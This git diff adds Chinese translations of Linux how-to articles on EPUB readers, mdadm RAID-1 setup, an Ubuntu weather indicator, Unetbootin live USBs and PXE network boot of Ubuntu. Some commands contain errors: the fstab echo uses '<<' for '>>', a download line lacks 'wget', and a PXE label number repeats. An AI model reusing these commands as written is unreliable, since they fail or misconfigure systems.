+先从列表中最有名的软件开始: [Calibre][1]。Calibre 不仅仅是个阅读器,它还是个电子图书馆。软件支持几乎所有的格式,集成了阅读器、管理器、一个可以从互联网下载书籍封面的元数据编辑器、一个EPUB编辑器、新闻阅读器和一个用来下载电子书的搜索引擎。可喜的是,界面丝毫不逊色专业的阅读软件。唯一的缺点是如果你只想要一个EPUB阅读器的话,这个软件还是太大了。 + +### 2. FBReader ### + +![](https://farm4.staticflickr.com/3900/14975176165_f2e4afd2fa_o.jpg) + +[FBReader][2] 也是一个图书馆管理软件,但是比Calibre小。界面简洁分为两个部分:左边是文件管理、元数据编辑和下载新书等功能;右边是阅读区。如果你喜欢简洁,这个软件挺不错。我个人非常喜欢这类直观标记书籍和分类的做法。 + +### 3. Cool Reader ### + +![](https://farm6.staticflickr.com/5594/14975176195_ac46952150.jpg) + +对于那些只想想看EPUB书内容的用户,我推荐 [Cool Reader][5]。遵循Linux应用程序的文化,Cool Reader 做了优化,每次只打开一个EPUB文件,可以使用简单的快捷键进行阅读和导航。由于程序书基于Qt开发的,所以他也遵循Qt的风格,需要大量的设置项。 + +### 4. Okular ### + +![](https://farm6.staticflickr.com/5559/14788504729_5a2ec2c11b_z.jpg) + +除了Qt应用程序,如果安装了EPUB库的话,KDE的文档阅读器[Okular][3] 也能打开EPUB文件。尽管如此,如果你不是个KDE用户的话,不推荐这个软件。 + +### 5. pPub ### + +![](https://farm4.staticflickr.com/3835/14788504789_e7c742fa20_z.jpg) + +[pPub][4]是个老项目,Github上可以找到这个项目,它最后的更新已经是在两年前了。尽管如此,这个软件还是值得使用的,pPub是用Python编写的,基于GTK3和WebKit,是个简单轻量的软件。界面可能需要一些更新,不够简洁,但是内部却非常好。软件支持JavaScript。所以,谁来捡起这个项目呢? + +### 6. epub ### + +![](https://farm4.staticflickr.com/3871/14788844378_16fb51a1b9_z.jpg) + +如果你只是想快速简单的查看EPUB文件的内容,不关心任何图形化界面功能的话,最好使用命令行模式打开EPUB。[epub][6] 是一个用Python编写的阅读器,可以在终端环境读取EPUB文件的内容。软件可以在章节、页面间切换,没有其他的功能。这是最简洁的EPUB阅读器了。 + +### 7. Sigil ### + +![](https://farm4.staticflickr.com/3921/14788640417_7940627871_z.jpg) + +最后介绍的这个实际上不是个EPUB阅读器,应该是个独立的编辑器。[Sigil][7] 可以提取EPUB文件的内容并将其分离成其他格式:xhtml文本、图像、css,及其他的内容比如音频等。界面比基本的阅读器复杂,但是功能还是比较丰富的。我很喜它的标签体系,如果你对网页比较熟悉的话,这个软件是很好使用的。 + +总结,有很多的开源的EPUB阅读器,有一些只有最基本的功能, 另外一些功能却太多了。一般来说,我建议你选择一个最合适的使用。如果你有更好的EPUB阅读器,请在评论里告诉我们! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/good-epub-reader-linux.html + +作者:[Adrien Brochard][a] +译者:[shipsw](https://github.com/shipsw) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://calibre-ebook.com/ +[2]:http://fbreader.org/ +[3]:http://okular.kde.org/ +[4]:https://github.com/sakisds/pPub +[5]:http://crengine.sourceforge.net/ +[6]:https://github.com/rupa/epub +[7]:https://github.com/user-none/Sigil diff --git a/published/201502/20140917 How to create a software RAID-1 array with mdadm on Linux.md b/published/201502/20140917 How to create a software RAID-1 array with mdadm on Linux.md new file mode 100644 index 0000000000..4c183956d3 --- /dev/null +++ b/published/201502/20140917 How to create a software RAID-1 array with mdadm on Linux.md @@ -0,0 +1,223 @@ +如何使用linux程序mdadm创建软件RAID1软阵列 +================================================================================ +磁盘冗余阵列(RAID)是将多个物理磁盘结合成一个逻辑磁盘的技术,该技术可以提高磁盘容错性能,提高磁盘的读写速度。根据数据存储的排列(如:条带存储,镜像存储,奇偶或者他们的组合),定义了几个不同级别的RAID(RAID-0,RAID-1,RAID-5 等等)。磁盘阵列可以使用软件或者硬件方式实现。现代Linux操作系统中,基本的软件RAID功能是默认安装的。 + +本文中,我们将介绍软件方式构建RAID-1阵列(镜像阵列),RAID-1将相同的数据写到不同的设备中。虽然可以使用同一个磁盘的两个分区实现RAID-1,但是如果磁盘坏了的话数据就都丢了,所以没什么意义。实际上,这也是为什么大多数RAID级别都使用多个物理磁盘提供冗余。当单盘失效后不影响整个阵列的运行,并且可以在线更换磁盘,最重要的是数据不会丢失。尽管如此,阵列不能取代外部存储的定期备份。 + +由于RAID-1阵列的大小是阵列中最小磁盘的大小,一般来说应该使用两个大小相同的磁盘来组建RAID-1。 + +### 安装mdadm ### + +我们将使用mdadm(简称多盘管理)工具创建、组装、管理和监控软件RAID-1。在诸如Fedora、CentOS、RHEL或者Arch Linux 的发行版中,mdadm是默认安装的。在基于Debian的发行版中,可以使用aptitude 或者 apt-get 安装mdadm。 + +#### Fedora, CentOS 或 RHEL #### + +由于adadm是预装的,所以我们只需要开启RAID守护服务,并将其配置成开机启动即可: + + # systemctl start mdmonitor + # systemctl enable mdmonitor + +对于CentOS/RHEL 6系统,使用以下命令: + + # service mdmonitor start + # chkconfig mdmonitor on + +#### Debian, Ubuntu 或 Linux Mint #### + +在Debian或类Debian系统中,mdadm可以使用 **aptitude 或者 apt-get** 安装: + + # aptitude install mdadm + +Ubuntu系统中,会要求配置Postfix MTA 以发送电子邮件通知。你可以跳过去。 + +Debian系统中,安装程序会显示以下解释信息,用来帮助我们去判断是否将根目录安装到RAID阵列中。下面的所有操作都有赖于这一步,所以应该仔细阅读他。 + +![](https://farm4.staticflickr.com/3918/15220883382_c14eb95914_z.jpg) + +我们不在根目录使用RAID-1,所以留空。 + +![](https://farm6.staticflickr.com/5555/15198241896_29e08b977f.jpg) + +提示是否开机启动阵列的时候,选择“是”。注意,这里需要往/etc/fstab 文件中添加一个条目使得系统启动的时候正确挂载阵列。 + +![](https://farm4.staticflickr.com/3875/15220883342_2b1d689a0a_z.jpg) + +### 硬盘分区 ### + +现在开始准备建立阵列需要的硬盘。这里插入两个8GB的usb磁盘,使用dmesg命令设备显示设备 /dev/sdb 和 /dev/sdc + + # dmesg | less + +---------- + +[ 60.014863] sd 3:0:0:0: [sdb] 15826944 512-byte logical blocks: (8.10 GB/7.54 GiB) +[ 75.066466] sd 4:0:0:0: [sdc] 15826944 512-byte logical blocks: (8.10 GB/7.54 GiB) + +我们使用fdisk为每个磁盘建立一个大小为8G的主分区。以下步骤是如何在/dev/sdb上建立分区,假设次磁盘从未被分区(如果有其他分区的话,可以删掉): + + # fdisk /dev/sdb + +按p键输出现在的分区表: + +![](https://farm4.staticflickr.com/3883/15198241836_24625edcf3_z.jpg) + +(如果有分区的话,可以使用 d 选项删除,w 选项应用更改)。 + +磁盘上没有分区,所以我们使用命令 ['n'] 创建一个主分区['p'], 分配分区号为['1'] 并且指定大小。你可以按回车使用默认值,或者输入一个你想设置的值。如下图: + +![](https://farm4.staticflickr.com/3875/15034475369_7e72fb9f2e_z.jpg) + +用同样的方法为/dev/sdc 分区。 + +如果我们有两个不同容量的硬盘,比如 750GB 和 1TB的话,我们需要在每个磁盘上分出一个750GB的主分区,大盘剩下的空间可以用作他用,不加入磁盘阵列。 + +### 创建 RAID-1 阵列 ### + +磁盘分区完成后,我们可以使用以下命令创建 RAID-1 阵列: + + # mdadm -Cv /dev/md0 -l1 -n2 /dev/sdb1 /dev/sdc1 + +说明: + +- **-Cv**: 创建一个阵列并打印出详细信息。 +- **/dev/md0**: 阵列名称。 +- **-l1** (l as in "level"): 指定阵列类型为 RAID-1 。 +- **-n2**: 指定我们将两个分区加入到阵列中去,分别为/dev/sdb1 和 /dev/sdc1 + +以上命令和下面的等价: + + # mdadm --create --verbose /dev/md0 --level=1 --raid-devices=2 /dev/sdb1 /dev/sdc1 + +如果你想在在磁盘失效时添加另外一个磁盘到阵列中,可以指定 '--spare-devices=1 /dev/sdd1' 到以上命令。 + +输入 “y” 继续创建阵列,回车: + +![](https://farm4.staticflickr.com/3894/15034569970_709bd51718.jpg) + +可以使用以下命令查看进度: + + # cat /proc/mdstat + +![](https://farm6.staticflickr.com/5565/15221267975_701b819e6d_z.jpg) + +另外一个获取阵列信息的方法是: + + # mdadm --query /dev/md0 + # mdadm --detail /dev/md0 (or mdadm -D /dev/md0) + +![](https://farm6.staticflickr.com/5583/15034683868_6c28564e5a_z.jpg) + +'mdadm -D'命令提供的信息中,最重要就是阵列状态类。激活状态说明阵列正在进行读写操作。其他几个状态分别为:完成(读写完成)、降级(有一块磁盘失效或丢失)或者恢复中(一张新盘已插入,系统正在写入数据)。这几个状态涵盖了大多数情况。 + +### 格式化或加载磁盘阵列 ### + +下一步就是格式化阵列了,本例中使用ext4格式: + + # mkfs.ext4 /dev/md0 + +![](https://farm4.staticflickr.com/3849/15034683838_01e34e7196_z.jpg) + +现在可以加载阵列并验证其正常加载: + + # mount /dev/md0 /mnt + # mount + +![](https://farm6.staticflickr.com/5554/15034696167_c4fc907c8e_z.jpg) + +### 监控磁盘阵列 ### + +mdadm工具内置有磁盘阵列监控功能。当mdadm作为守护程序运行的时候(就像我们上文那样),会周期性的检测阵列运行状态,将检测到的信息通过电子邮件或者系统日志报告上来。当然,也可以配置其在发生致命性错误的时候调用紧急命令。 + +mdadm默认会记录所有已知分区和阵列的事件,并将他们记录到 /var/log/syslog中。或者你可以在配置文件中(debian系统:/etc/mdadm/mdadm.conf ,红帽子系统:/etc/mdadm.conf )用以下格式指定监控设备或者阵列。如果mdadm.conf文件不存在,你可以创建一个。 + + DEVICE /dev/sd[bcde]1 /dev/sd[ab]1 + + ARRAY /dev/md0 devices=/dev/sdb1,/dev/sdc1 + ARRAY /dev/md1 devices=/dev/sdd1,/dev/sde1 + ..... + + # optional email address to notify events + MAILADDR your@email.com + +编辑完毕mdadm配置文件后,重启mdadm服务: + +Debian系统,Ubuntu或者Linux Mint: + + # service mdadm restart + +Fedora, CentOS 或 RHEL 7: + + # systemctl restart mdmonitor + +CentOS或者RHEL 6: + + # service mdmonitor restart + +### 自动加载阵列 ### + +现在我们在/etc/fstab中加入条目使得系统启动的时候将阵列挂载到/mnt目录下: + + # echo "/dev/md0 /mnt ext4 defaults 0 2" << /etc/fstab + +为了验证挂载脚本工作正常,我们首先卸载阵列,重启mdadm,然后重新加载。可以看到/dev/md0已经安装我们添加到/etc/fstab中的条目加载了: + + # umount /mnt + # service mdadm restart (on Debian, Ubuntu or Linux Mint) + or systemctl restart mdmonitor (on Fedora, CentOS/RHEL7) + or service mdmonitor restart (on CentOS/RHEL6) + # mount -a + +![](https://farm6.staticflickr.com/5563/15218183681_63a10da704_z.jpg) + +现在我们的阵列已经可以访问了,拷贝文件/etc/passwd到/mnt中测试一下: + +![](https://farm6.staticflickr.com/5593/15034475219_a3476aec0a_o.png) + +Debian系统中,需要在/etc/default/mdadm 设置 AUTOSTART 变量为 true 才能使mdadm守护程序在开机时自动加载阵列: + + AUTOSTART=true + +### 模拟磁盘丢失故障 ### + +我们将使用以下命令卸载磁盘来模拟磁盘故障。注意,在实际应用中,磁盘如果已经是故障状态了,不需要卸载。 + +首先,卸载阵列: + + # umount /mnt + +现在注意每次执行命令后 'mdadm -D /dev/md0' 的输出。 + + # mdadm /dev/md0 --fail /dev/sdb1 #Marks /dev/sdb1 as faulty + # mdadm --remove /dev/md0 /dev/sdb1 #Removes /dev/sdb1 from the array + +然后,如果你有个备用盘的话,重新添加一下: + + # mdadm /dev/md0 --add /dev/sdb1 + +数据会被自动添加到备用盘 /dev/sdb1 上: + +![](https://farm4.staticflickr.com/3855/15221267875_dfc6af8804_z.jpg) + +注意以上所述步骤只适合支持磁盘热拔插的系统,在不支持热拔插的系统中,还是得停止阵列并关机后更换备用盘: + + # mdadm --stop /dev/md0 + # shutdown -h now + +最后将新驱动器重新添加到阵列中: + + # mdadm /dev/md0 --add /dev/sdb1 + # mdadm --assemble /dev/md0 /dev/sdb1 /dev/sdc1 + +希望本文对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/create-software-raid1-array-mdadm-linux.html + +作者:[Gabriel Cánepa][a] +译者:[shipsw](https://github.com/shipsw) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel diff --git a/published/201502/20141029 How to Install and Setup My Weather Indicator in Ubuntu 14.10.md b/published/201502/20141029 How to Install and Setup My Weather Indicator in Ubuntu 14.10.md new file mode 100644 index 0000000000..15c6896b3e --- /dev/null +++ b/published/201502/20141029 How to Install and Setup My Weather Indicator in Ubuntu 14.10.md @@ -0,0 +1,75 @@ +在Ubuntu 14.10中如何安装和配置‘天气信息指示器’ +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/my-weather-indicator.jpg) + +**在Ubuntu桌面中有各种提供天气信息的方法,你可以使用Unity Dash和桌面应用来获得天气信息,比如[Typhoon][1]。** + +但是可以提供快速查询天气状况和温度数据,并且只需要一次鼠标点击而获得大量气象数据的面板插件,才是到目前为止Linux平台下最受欢迎的天气应用。 + +Atareao开发的[My Weather Indicator][2]就是这类应用中的一个,也可以说是最好的一个。 + +它在Unity面板上显示实时温度和天气状况,并且有一个包括体感温度、云量和日升日落时间等天气数据的菜单。除此之外,该应用还支持桌面小部件、多地区支持、天气数据提供方选择以及其他很多的配置选项。 + +听起来很不错,是吧?那我们下面就来看看如何在Ubuntu上安装和配置它吧。 + +### 在Ubuntu上安装My Weather Indicator ### + +My Weather Indicator无法从Ubuntu软件商店中直接获取。不过开发者为我们提供了.deb安装包和官方维护的PPA(为Ubuntu 14.04 LTS和14.10提供安装包)。 + +- 下载My Weather Indicator (.deb安装包) + +为了确保你的应用是最新版本,我建议将[Atareao PPA][3]添加到你的软件镜像源,然后通过PPA来安装。 + +怎么做?**打开一个新的终端**窗口(Unity Dash > 终端,或者按Ctrl+Alt+T快捷键),然后**输入下面的两行命令**,期间你需要在提示处输入你的系统密码: + + sudo add-apt-repository ppa:atareao/atareao + + sudo apt-get update && sudo apt-get install my-weather-indicator + +#### 配置My Weather Indicator #### + +无论你是通过什么方法安装该应用,你都可以在Unity Dash中搜索“weather”并且点击该应用来打开它。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/weather-icon.jpg) + +首次打开应用时会出现下面的配置窗口。在这里你可以手动设置地区或者使用geo-ip来自动获取。或者有时可能会不够精确,不过它可以省去手动设置过程。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/Screen-Shot-2014-10-27-at-17.39.07.jpeg) + +如果你正在旅行(或者是出于聊天的需要),**你可以添加一个第二地区**。这个设置和第一地区的设置相同,只不过是出现在“第二地区”的标签栏罢了。 + +在“**小部件设置**”区域勾选“**显示桌面小部件**”选项就会在你的桌面上添加一个小的天气小部件。小部件提供许多不同的皮肤,所以你一定要精心挑选你最喜欢的一个(注释:点击“确定”后对小部件的更改才会保存)。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/widgets.jpg) + +My Weather Indicator使用[Open Weather Map][4]作为默认的天气数据提供方。不过你可以在‘**Weather Services**’面板中选择其他的数据提供方(有*标记的需要提供相关API key): + +- Open Weather Map +- Yahoo! Weather +- Weather Underground* +- World Weather Online* + +在‘**Units**’标签页中,你可以设置温度、压力、风速等数据的单位。这些设置适用于所有添加的地区,也就是说你不能在一个地区使用摄氏度,另一个地区使用华氏度。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/Screen-Shot-2014-10-27-at-17.38.54.jpeg) + +最后,在‘General Options‘标签页,你可以设置数据更新间隔、设置开机自动运行选项以及从两个图标中选择一个作为面板图标。 + +如果你是命令行控,你也可以尝试[Linux下查看天气数据的方法][5]。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/10/install-weather-indicator-ubuntu-14-10 + +作者:[Joey-Elijah Sneddon][a] +译者:[JonathanKang](https://github.com/JonathanKang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://launchpad.net/typhoon +[2]:https://launchpad.net/my-weather-indicator +[3]:https://launchpad.net/~atareao/+archive/ubuntu/atareao +[4]:http://openweathermap.org/ +[5]:http://www.omgubuntu.co.uk/2014/02/get-weather-forecast-terminal-linux diff --git a/published/201502/20141030 Test drive Linux with nothing but a flash drive.md b/published/201502/20141030 Test drive Linux with nothing but a flash drive.md new file mode 100644 index 0000000000..602c99eb18 --- /dev/null +++ b/published/201502/20141030 Test drive Linux with nothing but a flash drive.md @@ -0,0 +1,75 @@ +试试只用U盘加载Linux系统 +================================================================================ + +也许你听过Linux并对它有点好奇,终于想要实际体验一下,但可能不知道从哪儿开始。 + +很可能你已经在网上搜索过一些信息,然后遇到一些像双系统和虚拟机这样的词汇。它们对你来说也许太专业了,所以你肯定不会仅仅为了尝试一下Linux而牺牲正在使用的操作系统。那我们该怎么办? + +如果你手上正好有个U盘的话,那就可以试试做一个USB Linux启动盘。它是一个包含了整个操作系统并可以直接引导开机的U盘。创建它并不需要什么专业技术能力,让我们来看看怎么做,以及如何从USB引导进入Linux系统。 + +![Penguins gathered together: Linux for the win](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/OSDC_Penguin_Image_520x292_12324207_0714_mm_v1a.png) + +### 你需要准备的 ### + +除了一台台式机或笔记本电脑外,你还需要: + +- 一个空白的U盘-最好容量能有4GB或更多。 +- 一个你想尝试的Linux发行版[ISO镜像][1](一种把所有磁盘内容打包起来的档案文件)。待会再详细介绍。 +- 一个叫[Unetbootin][2]的应用程序,它是一个开源的,跨平台的工具,用来创建USB启动盘。运行它并不需要启动Linux。在下面的教程中,我是在MacBook上运行的Unetbootiin(LCTT 译注:它还有 Windows 和 Linux 版本)。 + +### 开始干活 ### + +把U盘插到你电脑的USB端口上,然后启动Unetbootin。然后会要求你输入当前电脑的登录密码。 + +![Unetbootin main window](http://opensource.com/sites/default/files/images/life-uploads/unetbootin-main.png) + +还记得之前提到的ISO镜像文件吗?有两种方式可以获得:要么自己从你想尝试的Linux发行版网站上下载,或者让Unetbootin帮你下载。如果选后者,在窗口顶部点击**选择发行版**,选择你想下载的发行版,然后点击**选择版本**来选择你希望尝试的发行版版本。 + +![Downloading a Linux distribution](http://opensource.com/sites/default/files/images/life-uploads/unetbootin-download-distro.png) + +或者,你也可以自己下载发行版。通常,我想尝试的Linux发行版都没有在列表中。如果选择自己下载,那么点击**磁盘镜像**,然后点击按钮来选择你下载好的.iso文件。 + +注意到下面的选项**预留每次重新启动后保存文件的空间(仅Ubuntu有效)**吗?如果你尝试的是Ubuntu或它的任一个衍生版(比如Lubuntu或Xubuntu),你可以在U盘上留出几M空间用来保存文件,比如网页书签或你自己创建的文档。当用这个U盘下次启动Ubuntu的时候,你可以继续使用这些文件。 + +![Ready to create a live USB](http://opensource.com/sites/default/files/images/life-uploads/unetbootin-ready-to-go.png) + +在加载好ISO镜像后,点击**确定**。Unetbootin大概需要不到10分钟来创建USB启动盘。 + +![Creating the live USB](http://opensource.com/sites/default/files/images/life-uploads/unetbootin-creating-disk.png) + +### 检验USB启动盘 ### + +这个时候,你需要拥抱一下自己内在的极客精神。这不会太难,不过你将需要进入[BIOS][3]去偷看一下你的电脑内部空间。你的电脑的BIOS会加载各种硬件,并控制电脑操作系统的引导或启动。 + +BIOS通常会按这个顺序搜索操作系统(或者类似的顺序):硬盘,然后是CD/DVD光驱,然后是外部存储设备。你需要调整这个顺序,让外部存储设备(在这里,指的是你的U盘启动盘)成为BIOS第一个搜索的设备。 + +要做到这一点,请把U盘插到电脑上再重启电脑。在看到提示信息**Press F2 to enter setup**之后,按它要求的做。在有的电脑上,这个键可能是F10。 + +在BIOS里,用键盘上的向右方向键切换到**Boot**菜单。然后你将看到你电脑上的驱动器列表。使用键盘上的向下方向键选中名字为**USB HDD**的选项,然后按下**F6**移动这个选项到列表的顶部。 + +完成后,按下**F10**来保存改动。然后你会从BIOS里被踢出来,然后电脑会自己启动。等一小会,你就会看到一个你正在尝试的Linux发行版的启动菜单。选择**Run without installing**(或者最类似的选项)。 + +在进入桌面后,你可以连接上无线或有线网络,看看网页,试一试预装的软件。你还可以看看,比如说,你的打印机或扫描仪是否能在你试的这个发行版下正常工作。你要是真的想不开,也可以去摸一下命令行。 + +### 能干什么 ### + +根据你尝试的Linux发行版和你使用的U盘的速度,操作系统可能会需要较长的时间来加载,而且很可能比直接装到硬盘上会慢一点。 + +还有,你也只能运行Linux发行版里预装好的基本软件。通常会有网页浏览器,一个文字处理软件,一个文本编辑器,一个媒体播放器,一个相片浏览器,以及一套实用工具。这些应该足够给你使用Linux的感觉了。 + +如果你决定使用Linux,你可以双击安装器从U盘安装到硬盘。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/14/10/test-drive-linux-nothing-flash-drive + +作者:[Scott Nesbitt][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://opensource.com/users/scottnesbitt +[1]:http://en.wikipedia.org/wiki/ISO_image +[2]:http://unetbootin.sourceforge.net/ +[3]:http://en.wikipedia.org/wiki/BIOS diff --git a/published/201502/20141108 Adding Ubuntu 14.10, Ubuntu 14.04 and Debian 7 to PXE Network Boot Environment Setup on RHEL or CentOS 7.md b/published/201502/20141108 Adding Ubuntu 14.10, Ubuntu 14.04 and Debian 7 to PXE Network Boot Environment Setup on RHEL or CentOS 7.md new file mode 100644 index 0000000000..e131acbbc7 --- /dev/null +++ b/published/201502/20141108 Adding Ubuntu 14.10, Ubuntu 14.04 and Debian 7 to PXE Network Boot Environment Setup on RHEL or CentOS 7.md @@ -0,0 +1,263 @@ +添加Ubuntu 14.10,Ubuntu 14.04和Debian 7到RHEL/CentOS 7的PXE网络启动环境 +================================================================================ +本教程将指引你添加**Ubuntu 14.10 Server, Ubuntu 14.04 Server**和**Debian 7 Wheezy**发行版到**RHEL/CentOS 7**的PXE网络启动环境中。 + +![Add Ubuntu and Debian to PXE Network](http://www.tecmint.com/wp-content/uploads/2014/11/Add-Ubuntu-and-Debian-to-PXE.png) + +*添加Ubuntu和Debian到PXE网络* + +虽然对于本教程,我只会演示怎样来添加**64位**网络安装镜像,但对于Ubuntu或者Debian的**32位**系统,或者其它架构的镜像,操作步骤也基本相同。同时,就我而言,我会解释添加Ubuntu 32位源的方法,但不会演示配置。 + +从PXE服务器安装 **Ubuntu**或者**Debian**要求你的客户机必须激活网络连接,最好是使用**DHCP**通过**NAT**来进行动态分配地址。以便安装器拉取所需的包并完成安装过程。 + +#### 前置阅读 #### + +- [在RHEL/CentOS 7中为多种Linux发行版安装PXE网络启动服务器][1] + +## 步骤 1: 添加Ubuntu 14.10和Ubuntu 14.04服务器到PXE菜单 ## + +**1.** 要将**Ubuntu 14.10**和**Ubuntu 14.04**添加网络安装源到PXE菜单可以通过两种方式实现:其一是通过下载Ubuntu CD ISO镜像并挂载到PXE服务器机器上,以便可以读取Ubuntu网络启动文件,其二是通过直接下载Ubuntu网络启动归档包并将其解压缩到系统中。下面,我将进一步讨论这两种方法: + +### 使用Ubuntu 14.10和Ubuntu 14.04 CD ISO镜像 ### + +为了能使用此方法,你的PXE服务器需要有一台可工作的CD/DVD驱动器(LCTT 译注:也可以不用,参考下面内容)。在一台专用的计算机上,转到[Ubuntu 14.10下载][2]和[Ubuntu 14.04 下载][3]页,获取64位**服务器安装镜像**,将它烧录到CD,并将CD镜像放到PXE服务器DVD/CD驱动器,然后使用以下命令挂载到系统。 + + # mount /dev/cdrom /mnt + +如果你的PXE服务器没有CD/DVD驱动器,你可以使用**wget**命令下载**Ubuntu 14.10** 和**Ubuntu 14.04**的ISO镜像到本地,然后通过下面的命令(下载并挂载CD)挂载到服务器上上述相同位置。 + +#### 在Ubuntu 14.10上 #### + + ------------------ 32位 ------------------ + + # wget http://releases.ubuntu.com/14.10/ubuntu-14.10-server-i386.iso + # mount -o loop /path/to/ubuntu-14.10-server-i386.iso /mnt + +---------- + + ------------------ 64位 ------------------ + + # wget http://releases.ubuntu.com/14.10/ubuntu-14.10-server-amd64.iso + # mount -o loop /path/to/ubuntu-14.10-server-amd64.iso /mnt + +#### 在Ubuntu 14.04上 #### + + ------------------ 32位 ------------------ + + # wget http://releases.ubuntu.com/14.04/ubuntu-14.04.1-server-i386.iso + # mount -o loop /path/to/ubuntu-14.04.1-server-i386.iso /mnt + +---------- + + ------------------ 64位 ------------------ + + # wget http://releases.ubuntu.com/14.04/ubuntu-14.04.1-server-amd64.iso + # mount -o loop /path/to/ubuntu-14.04.1-server-amd64.iso /mnt + +### 使用Ubuntu 14.10和Ubuntu 14.04网络启动镜像 ### + +对于该方法,使用以下命令下载Ubuntu网络启动镜像到PXE服务器。 + +#### 在Ubuntu 14.04上 #### + + ------------------ 32位 ------------------ + + # cd + # wget http://archive.ubuntu.com/ubuntu/dists/utopic/main/installer-i386/current/images/netboot/netboot.tar.gz + +---------- + + ------------------ 64位 ------------------ + + # cd + # http://archive.ubuntu.com/ubuntu/dists/utopic/main/installer-amd64/current/images/netboot/netboot.tar.gz + +#### 在Ubuntu 14.04上 #### + + ------------------ 32位 ------------------ + + # cd + # wget http://archive.ubuntu.com/ubuntu/dists/trusty-updates/main/installer-i386/current/images/netboot/netboot.tar.gz + +---------- + + ------------------ 64位 ------------------ + + # cd + # wget http://archive.ubuntu.com/ubuntu/dists/trusty-updates/main/installer-amd64/current/images/netboot/netboot.tar.gz + +对于其它处理器架构,请访问下面的Ubuntu 14.10和Ubuntu 14.04网络启动官方页面,选择你的架构类型并下载所需文件。 + +- [http://cdimage.ubuntu.com/netboot/14.10/][4] +- [http://cdimage.ubuntu.com/netboot/14.04/][5] + +**2.** 在下载完**ISO镜像**或**网络启动安装器**归档包后,通过执行以下命令拷贝整个**ubuntu-installer**文件夹到PXE tftp服务器位置。 + +**A).** 对于两种CD ISO镜像(**32位**或**64位**),在挂载特定架构的CD到PXE服务器**/mnt**系统路径后,请使用以下命令。 + + # cp -fr /mnt/install/netboot/ubuntu-installer/ /var/lib/tftpboot/ + +**B).** 对于网络启动归档,根据特定的Ubuntu架构,请运行以下命令。 + + # cd + # tar xfz netboot.tar.gz + # cp -rf ubuntu-installer/ /var/lib/tftpboot/ + +如果你想要在PXE服务器上同时使用两种Ubuntu服务器架构,先请下载,然后根据不同的情况挂载或解压缩32位架构,然后拷贝**ubuntu-installer**目录到**/var/lib/tftpboot**,然后卸载CD或删除网络启动归档以及解压缩的文件和文件夹。对于64位架构,请重复上述步骤,以便让最终的**tftp**路径形成以下结构。 + + /var/lib/tftpboot/ubuntu-installer/amd64 + /var/lib/tftpboot/ubuntu-installer/i386 + +**3.** 在接下来的步骤,通过执行以下命令添加**Ubuntu 14.10**和**Ubuntu 14.04**菜单标签到**PXE服务器**默认配置文件中。 + +**重要**:我不可能同时演示两个Ubuntu版本的操作,出于演示的目的,我添加了**Ubuntu 14.04**菜单标签到PXE服务器,下述同样的操作也可应用到Ubuntu 14.10,只需对版本号稍作修改,仅仅只要根据你的Ubuntu版本修改版本号和到OS架构的路径。 + +在你最喜爱的文本编辑器的帮助下,打开PXE默认配置文件,而我偏好nano编辑器。 + + # nano /var/lib/tftpboot/pxelinux.cfg/default + +接下来,添加以下配置到PXE菜单。 + +#### 对于Ubuntu 14.04 32位 #### + + label 1 + menu label ^1) Install Ubuntu 14.04 x32 + kernel ubuntu-installer/i386/linux + append vga=788 initrd=ubuntu-installer/i386/initrd.gz -- quiet + + label 2 + menu label ^2) Ubuntu 14.04 Rescue Mode x32 + kernel ubuntu-installer/i386/linux + append vga=788 initrd=ubuntu-installer/i386/initrd.gz rescue/enable=true -- quiet + +#### 对于Ubuntu 14.04 64位 #### + + label 5 + menu label ^5) Install Ubuntu 14.04 x64 + kernel ubuntu-installer/amd64/linux + append vga=788 initrd=ubuntu-installer/amd64/initrd.gz -- quiet + + label 5 + menu label ^6) Ubuntu 14.04 Rescue Mode + kernel ubuntu-installer/amd64/linux + append vga=788 initrd=ubuntu-installer/amd64/initrd.gz rescue/enable=true -- quiet + +![Add Ubuntu to PXE Boot](http://www.tecmint.com/wp-content/uploads/2014/11/Add-Ubuntu-to-PXE-Boot.jpg) +添加Ubuntu到PXE启动 + +**注**:如果你想要包含其它Ubuntu架构,请遵循以上相同的操作,并相应替换PXE默认菜单配置文件中的标签号和**ubuntu-installer/$architecture_name/**目录。 + +**4.** 在配置完PXE菜单配置文件后,根据采用的方法清除源文件,并继续进行客户端PXE安装以测试配置是否正确。 + + ---------------------- 对于CD/DVD方法 ---------------------- + + # umount /mnt + +---------- + + ---------------------- 对于网络启动方法 ---------------------- + + # cd && rm -rf ubuntu-installer/netboot.tar.gz pxelinux.* version.info + +下面是**Ubuntu 14.04**PXE客户端安装测试的截图。 + +![Select Ubuntu from PXE Menu](http://www.tecmint.com/wp-content/uploads/2014/11/Select-Ubuntu-from-PXE-Menu.jpg) + +*从PXE菜单选择Ubuntu* + +![Choose Ubuntu Installation Language](http://www.tecmint.com/wp-content/uploads/2014/11/Select-Ubuntu-Installation-Language.jpg) + +*选择Ubuntu安装语言* + +![Choose Ubuntu Rescue Mode](http://www.tecmint.com/wp-content/uploads/2014/11/Select-Ubuntu-Rescue-Mode.jpg) + +*选择Ubuntu救援模式* + +![Ubuntu Rescue Mode 